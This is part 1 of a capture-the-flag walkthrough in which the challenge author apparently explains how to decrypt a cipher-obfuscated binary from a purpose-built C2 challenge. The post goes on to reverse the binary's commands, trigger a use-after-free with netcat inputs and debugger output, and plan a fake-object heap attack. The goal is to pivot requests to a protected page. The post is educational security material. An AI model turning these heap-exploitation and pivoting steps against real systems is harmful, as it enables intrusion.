TISC 2022 Challenge 10 Walkthrough— Papasploit [Part 1]

kktan
CSIT tech blog
Published in
13 min readNov 8, 2022

--

Early thoughts and motivations

Personally, in most of the CTFs I’ve participated in, some challenges stand out, and stick in my memory. Either because I was amazed at the challenge, or because I got traumatised. It could be because the challenge had an interesting story and/or a technically interesting solution/approach. Or it could be because the challenge was just straight up annoying. I designed Papasploit be all of the above :)

Or, as our past-year’s TISC winner eloquently put it:

What distinguished TISC from typical CTFs was its dual emphasis on hacking AND programming — rather than exploiting a single vulnerability, I often needed to automate exploits thousands of times. You’ll see what I mean soon.

Thousands of times? Sounds like a plan…….

The concept

As always, I wanted to involve a mix of web, RE, pwn, and crypto components, and preferably, in a way that was different from my challenge last year. Once again, I looked towards cybercrime TTPs for inspiration, and to keep in spirit with the PALINDROME theme.

This led a C2 server, with a webapp for the web pentesting component and a binary for the RE and pwn component. Normally, the challenge approach would then naturally be (1) pentest, (2) grab binary, (3) RE/crypto/ pwn, (4) ???, (5) profit. Or would it?

Anatomy of a web -> binary sort of puzzle

I get the feeling this has been done before. Like, in TISC 2021. So I decided to place the web component, after the binary portion. Which means, the participant would have to solve the pwn component first, and use the vulnerability in the binary to solve the web component. After some fiddling around, I adopted this approach for the challenge:

Papasploit layout

Participants would log in to the public-facing webpage to download their encrypted binary (more on this later), and to start the binary on the server. The webapp also would feature the tantalizing killswitch.php page (where the flag is purported to be), and other webpages that are only accessible from localhost .

After decrypting and reversing the binary, the participants need to observe that the binary makes hardcoded HTTP requests to an internal page and may be exploited to send requests to killswitch.php instead. This is where the web pentesting portion comes in… because they would need to use the “foothold” given by the binary to pentest the vulnerable killswitch.php for the flag.

In the final day of the CTF, three participants managed to reach this stage, but no one got the flag due to the lack of time. I suspect one of them started working on the pwn portion, as I began to see interesting traffic being sent to the Babysploit binary:

“Send help please”

How much work did our talented participants have to do in order to triumph over TISC 2022? This post provides a high-level walkthrough to solving the challenge.

Part 0: Logging into the webapp
Part 1: Decrypting the binary
Part 2: Reverse Engineering
Part 3: Pre-Pwn
Part 4: Pwn (in Part 2)
Part 5: Web (in Part 2)

Part 0: Logging into the webapp

Participants are given the credentials to login…

Logging in to Papasploit

...and access the control panel, where they have the ability to start the console app (babysploit.exe). Starting the console app creates a firewall exception to their IP address, and spawns a babysploit listener on the port.

Control Panel. Click “Go!” to start the listener

The page with the flag, killswitch.php, is also present…

killswitch.php

…but attempting to submit credentials into killswitch.php leads to an error and a redirection back to the login page.

root@exkalibur:~/tisc_testing$ curl http://chaln0yksbaiatswkrdx5w2vj5tfazbmhssj.ctf.sg/killswitch.php -d "u=asd&p=asd"
Your IP (xxx.xxx.xxx.xxx) is not authorised to use this page!

Part 1: Decrypting the binary

Since attacking the website remotely seems like a dead end for now, the next step is to take a look at the binary:

Get your very own babysploit here!

Upon inspection, it seems like the encrypted binary… is still a binary. The PE headers are all present, and actually, IDA might just be able to open it. In fact, the binary even has legitimate, readable strings. However, on closer inspection, it seems like the disassembly is nonsensical:

Gibberish disassembly

We are told that there is a simple substitution cipher in play. Additionally, we can download more samples of the encrypted binary, each encrypted using different substitution ciphers. The conclusion here, is that only the .text section is encrypted, thus leading to gibberish disassembly.

Defeating a simple substitution cipher is trivial if you have the ability to perform frequency analysis, and if you have enough data. However, what if the encrypted data is a binary? Probably \x00 is likely to be the most frequently occurring byte, but it appears that the substitution is “null-preserving”:

Nulls seem to be preserved

Instead, we can focus on another frequently appearing byte in a binary: \xcc. Guess where \xcc occurs here?

\xa8 looks sus

From the above example, \xa8 can be mapped to \xcc and vice versa. And hence, we know all the correct positions of these two bytes in the .text section of the binary.

Next, we download another version of the encrypted binary, and perform the same trick, mapping another byte, and using the earlier discovered\xa8 to map to yet another byte.

Using this approach, we can recover the original binary in a logarithmic number of steps:

root@exkalibur:~/tisc2022# python3 babysploit_decrypt.py[ ] Known bytes: 3
[ ] 0x50 bytes from: 0x400
===============================================
.. .. .. .. .. .. .. 00 00 00 .. .. .. .. .. 00
00 .. .. .. .. .. 00 00 .. .. .. 00 00 .. .. ..
.. .. 00 00 .. .. .. .. .. .. .. 00 00 cc cc cc
.. .. .. .. .. .. .. 00 00 00 .. .. .. .. .. 00
00 .. .. .. .. .. 00 00 .. .. .. 00 00 .. .. ..
===============================================
[ ] Known bytes: 5
[ ] 0x50 bytes from: 0x400
===============================================
.. .. .. .. .. .. .. 00 00 00 .. .. .. .. .. 00
00 .. .. .. .. .. 00 00 .. .. .. 00 00 .. .. ..
.. .. 00 00 .. .. .. .. .. .. .. 00 00 cc cc cc
.. .. .. .. .. .. .. 00 00 00 .. .. .. .. .. 00
00 .. .. .. .. .. 00 00 .. .. .. 00 00 .. .. ..
===============================================
[ ] Known bytes: 17
[ ] 0x50 bytes from: 0x400
===============================================
.. .. .. .. .. .. .. 00 00 00 .. .. .. .. .. 00
00 .. .. .. .. 90 00 00 .. .. .. 00 00 .. .. ..
.. .. 00 00 .. .. .. .. .. .. 45 00 00 cc cc cc
.. .. .. .. .. .. .. 00 00 00 .. .. .. .. .. 00
00 .. .. .. .. 90 00 00 .. .. 34 00 00 .. .. ..
===============================================
[ ] Known bytes: 119
[ ] 0x50 bytes from: 0x400
===============================================
.. 83 ec .. .. b8 .. 00 00 00 .. .. .. e7 .. 00
00 .. .. 0d .. 90 00 00 .. .. .. 00 00 .. .. 0d
0c .. 00 00 .. 83 .. .. e9 .. 45 00 00 cc cc cc
.. 83 ec .. .. b8 7b 00 00 00 .. .. .. .. .. 00
00 .. .. 0d 20 90 00 00 .. d3 34 00 00 .. .. 0d
===============================================
[ ] Known bytes: 256
[ ] 0x50 bytes from: 0x400
===============================================
48 83 ec 28 41 b8 10 00 00 00 48 8d 15 e7 64 00
00 48 8d 0d 30 90 00 00 e8 03 35 00 00 48 8d 0d
0c 56 00 00 48 83 c4 28 e9 1f 45 00 00 cc cc cc
48 83 ec 28 41 b8 7b 00 00 00 48 8d 15 cf 64 00
00 48 8d 0d 20 90 00 00 e8 d3 34 00 00 48 8d 0d
===============================================
[+] Wrote file: restored.exe

Part 2: Reverse Engineering

Reversing the binary should be pretty straightforward, as there are no tricks to impede static or dynamic analysis. Probably, the only issue participants would face is the uncommon memory manipulations implemented in the badly written and convoluted binary.

When running, the binary listens on a specified port, and responds to several commands:

[0] (data): Creates an object (N) with a random UUID, the originator’s IP, and some (data). N starts from 0 and increments by 1 each time an object is added. Our object looks like this:

[0] AAAAAA\r\n:
d0 04 ce 45 67 01 00 00-00 00 00 00 00 00 00 00 << ptr to UUID
24 00 00 00 00 00 00 00-2f 00 00 00 00 00 00 00
XX XX XX 2e XX 2e XX XX-2e XX 00 00 00 00 00 00 << IP address
09 00 00 00 00 00 00 00–0f 00 00 00 00 00 00 00
41 41 41 41 41 41 0d 0a-00 31 ce 04 f6 7f 00 00 << AAAAAA\r\n
08 00 00 00 00 00 00 00–0f 00 00 00 00 00 00 00
20 74 cd 45 67 01 00 00–9e ff e0 7d 00 3c 00 88 << ptr to itself
00 0c 00 00 00 00 00 00-d4 ed df 45 67 01 00 00

[1] N: View the data of an object N
[2] N: Null out the first byte of the data in object N, then free it
[3] N (newdata): change object N’s (data) to (newdata), up to the previous size of (data), if a global variable is set to 0 (but, it is not)
[4] N: Null out the first byte of the UUID
[5]: Make a HTTP POST request to hardcoded/status.php?id=0 with data: action=update&uuid=715cf1a6–2022–4d4d-add5-c0ffeec0ffee&status=alive-and-functional&display=show-result-for-process&connIP=[origin IP]

Similar to almost every application that uses a heap, if the data is a longer chunk of bytes, the content in the object becomes a pointer, which points to the actual data, which is also stored somewhere on the heap:

print("[0] " + "A" * 0x246 + "\r\n"):
50 07 ce 45 67 01 00 00-00 00 00 00 00 00 00 00 << ptr to UUID
24 00 00 00 00 00 00 00-2f 00 00 00 00 00 00 00
XX XX XX 2e XX 2e XX XX-2e XX 00 00 00 00 00 00 << IP address
09 00 00 00 00 00 00 00-0f 00 00 00 00 00 00 00
00 72 ce 45 67 01 00 00-16 31 ce 04 f6 7f 00 00 << ptr to data
48 02 00 00 00 00 00 00-4f 02 00 00 00 00 00 00 << sz of data: 0x248
60 72 cd 45 67 01 00 00-fa ff c4 7d 00 38 00 88 << ptr to itself
6a 00 00 00 00 00 00 00-fc ed df 45 67 01 00 00

Intuitively, we can start bytrying out the functions against the Babysploit binary hosted on the Papasploit server. Instead of the “IP not authorised” error, we now have some success going through the binary:

root@exkalibur:~/tisc2022# echo -ne [5]|nc chaln0yksbaiatswkrdx5w2vj5tfazbmhssj.ctf.sg 33891
715cf1a6–2022–4d4d-add5-c0ffeec0ffee from xxx.xxx.xxx.xxx: alive-and-functional

However, we find that attempts to edit our content with [3] would return the [-] result, meaning that we are unable to change the data content in the object without first configuring a global variable set by the binary…

Global variable blocking the ability to edit

Finally, we can try to create an object with [0] and a large amount of data, “free” it with [2] and view the outcome with [1]. Chances are good that we start seeing some leakage from the heap…

root@exkalibur:~/tisc2022# echo -ne [0] aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa|nc chaln0yksbaiatswkrdx5w2vj5tfazbmhssj.ctf.sg 33891
[+]root@exkalibur:~/tisc2022#
root@exkalibur:~/tisc2022# echo -ne [2] 0|nc chaln0yksbaiatswkrdx5w2vj5tfazbmhssj.ctf.sg 33891
[+]root@exkalibur:~/tisc2022#
root@exkalibur:~/tisc2022# echo -ne [1] 0|nc chaln0yksbaiatswkrdx5w2vj5tfazbmhssj.ctf.sg 33891 | xxd
00000000: 0300 0000 5960 a915 3305 7171 babe 3749 ....Y`..3.qq..7I
00000010: 8319 b5db ef9c cc36 0100 0000 0000 0000 .......6........
00000020: 0000 0000 0000 0000 0100 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0100 0000 0300 0000 ................
00000040: 0100 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0848 9d51 5cfa 0010 .........H.Q\...
000000b0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
000000c0: 6161 6161 6161 6161 6161 6161 6161 6161 aaaaaaaaaaaaaaaa
000000d0: 6161 6161 6161 6161 6161 aaaaaaaaaa

Part 3: Pre-Pwn

After seeing the above results, the vulnerability is clearly some sort of UAF leading to some uncontrolled leak. Are we able to control the leak? Maybe we can overwrite the previous object with something useful?

Let us first try creating and freeing a number of objects, then viewing the freed objects to see if we cause a crash…

root@exkalibur:~/tisc2022# echo -ne [0] BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB|nc 10.222.222.230 33891
[+]
root@exkalibur:~/tisc2022# echo -ne [1] 4|nc 10.222.222.230 33891 | xxd
(crash)

Checking windbg:

(3154.2eac): C++ EH exception — code e06d7363 (first chance)
(3154.2eac): C++ EH exception — code e06d7363 (!!! second chance !!!)
0:000> k
# Child-SP RetAddr Call Site
00 0000001e`7f2fdea0 00007ff8`b54e64c0 KERNELBASE!RaiseException+0x69
01 0000001e`7f2fdf80 00007ff7`7a0759cf VCRUNTIME140!_CxxThrowException+0x90 [d:\a01\_work\14\s\src\vctools\crt\vcruntime\src\eh\throw.cpp @ 75]
02 0000001e`7f2fdfe0 00007ff7`7a07530d babysploit+0x59cf
03 0000001e`7f2fe030 00007ff7`7a0744be babysploit+0x530d
04 0000001e`7f2fe060 00007ff7`7a072102 babysploit+0x44be
05 0000001e`7f2fe090 00007ff7`7a073ae9 babysploit+0x2102
06 0000001e`7f2fe1d0 00007ff7`7a075788 babysploit+0x3ae9
07 0000001e`7f2ff910 00007ff8`c0e67034 babysploit+0x5788
08 0000001e`7f2ff950 00007ff8`c0fa2651 KERNEL32!BaseThreadInitThunk+0x14
09 0000001e`7f2ff980 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:000> r
rax=0000000000000002 rbx=00007ff77a078800 rcx=0000000000000110
rdx=0000017940530cc0 rsi=0000001e7f2fe000 rdi=0000000019930520
rip=00007ff8be934fd9 rsp=0000001e7f2fdea0 rbp=4242424242424242
r8=0000000000000140 r9=0000017940560000 r10=0000001e7f2fd9e9
r11=0000000002000002 r12=0000000000000000 r13=0000000000000000
r14=0000000000000004 r15=0000000000000000
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000204
KERNELBASE!RaiseException+0x69:
00007ff8`be934fd9 0f1f440000 nop dword ptr [rax+rax]

We can set a breakpoint inside the [1] function to examine the corruption, at babysploit+0x20fd:

Breakpoint 0 hit
babysploit+0x20fd:
00007ff7`7a0720fd e83e230000 call babysploit+0x4440 (00007ff7`7a074440)
0:000> dq rbx L1
00000235`c4f6a230 42424242`42424242 << should be a ptr to UUID
0:000> dq rbx-e0 L1 << an uncorrupted object
00000235`c4f6a150 00000235`c4f52660
0:000> da poi(rbx-e0)
00000235`c4f52660 “2fae09d4–96a6–4249-b456–70a48390”
00000235`c4f52680 “1c42”

Note that with heap operations, the corruption of the specific object is not guaranteed. The corruption may happen at other freed objects instead. Unless, of course, we have a way to groom the heap… :)

Anyway, this would suggest that we can craft a fake object (fakeobj) as part of our data, i.e., [0] (fakeobj) to possibly overwrite a previously freed object. If we succeed in this overwrite, we will achieve the following by specifying desired pointers in the fakeobj:

  • Single-byte null, by crafting a pointer for the UUID
  • Arbitrary read, by crafting a pointer and size for the data
  • Potentially edit data at the pointer above, with [3]
ee dd cc bb aa 00 00 00-00 00 00 00 00 00 00 00 << null 0xaabbccddee
24 00 00 00 00 00 00 00-2f 00 00 00 00 00 00 00
31 32 37 2e 33 2e 33 2e-31 00 00 00 00 00 00 00
09 00 00 00 00 00 00 00-0f 00 00 00 00 00 00 00
ee dd cc bb aa 00 00 00-16 31 ce 04 f6 7f 00 00 << R/W at this addr
00 01 00 00 00 00 00 00-4f 02 00 00 00 00 00 00 << sz of data: 0x100

Before we proceed, let’s formulate a plan of attack:

  1. We want to be able to access killswitch.php via this binary, hence, we need to alter the URL and the POST data using fakeobj and [3]
  2. To use [3], we need to null out the global variable with a fakeobj and [4] .
  3. To get the exact address of the global variable and the pointers to the URL and POST data, we need the base address of babysploit. We can get that by using the fakeobj and [1] . Is the base address of babysploit on the heap somewhere?
  4. We can use the generic combination of [0] -> [2] -> [1] to try to leak an address on the heap, so that we can feed it into our fakeobj to dump the heap contents and find the base address

Turns out, yes, with some digging, we can find the base address in the heap.

0:000> !heap
Heap Address NT/Segment Heap
235c4f40000 NT Heap
235c4e50000 NT Heap
0:000> lm
start end module name
00007ff7`7a070000 00007ff7`7a07e000 babysploit C (no symbols)
(snip)
0:000> s -q 235c4f40000 L10000 00007ff7`7a070000
00000235`c4f42850 00007ff7`7a070000 00007ff7`7a0757f8
00000235`c4f42918 00007ff7`7a070000 01d8ccd6`a19fe7f8
00000235`c4f44788 00007ff7`7a070000 00007ff8`c106d324
00000235`c4f449c8 00007ff7`7a070000 00007ff8`c106d3a4
00000235`c4f48b28 00007ff7`7a070000 00007ff8`c106d3a4
00000235`c4f53770 00007ff7`7a070000 00000000`0000e000

Phew! That was a long read.

In summary, we have a UAF that can be used in conjunction with the binary’s features to perform some unintended actions in the binary. Ultimately, the aim is to use the binary as a “pivot” to access and send arbitrary data to killswitch.php .

How can this be done in practice? Stay tuned for Part 2…. :)

--

--